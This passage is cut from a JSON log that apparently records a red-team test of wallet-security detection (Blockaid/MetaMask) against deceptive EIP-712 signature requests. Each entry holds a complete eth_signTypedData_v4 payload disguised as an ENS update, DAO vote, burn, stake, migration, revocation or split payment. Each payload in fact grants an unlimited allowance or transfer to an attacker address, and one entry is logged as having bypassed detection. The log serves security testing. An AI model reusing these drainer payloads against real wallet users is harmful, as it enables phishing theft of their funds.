"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:00:33.715Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:00:42.868Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:00:52.027Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:01:01.173Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:01:10.326Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:01:19.496Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:01:28.651Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:01:37.796Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:01:46.944Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:01:56.122Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:02:05.396Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:02:14.528Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN3-EIP3009-022", "timestamp": "2026-01-31T16:02:23.657Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x19410c09f7c8468a28b9cde7df9ef11a06110e91a01f9f9c1f575f414de84a94\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-EIP3009-054", "timestamp": "2026-01-31T16:02:30.179Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x05a49c0d65dc65b5de8edfb512d260b48193d0fa98f34a103c15098297397cb5\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:02:39.548Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:02:48.696Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:02:57.830Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:03:07.017Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:03:16.157Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 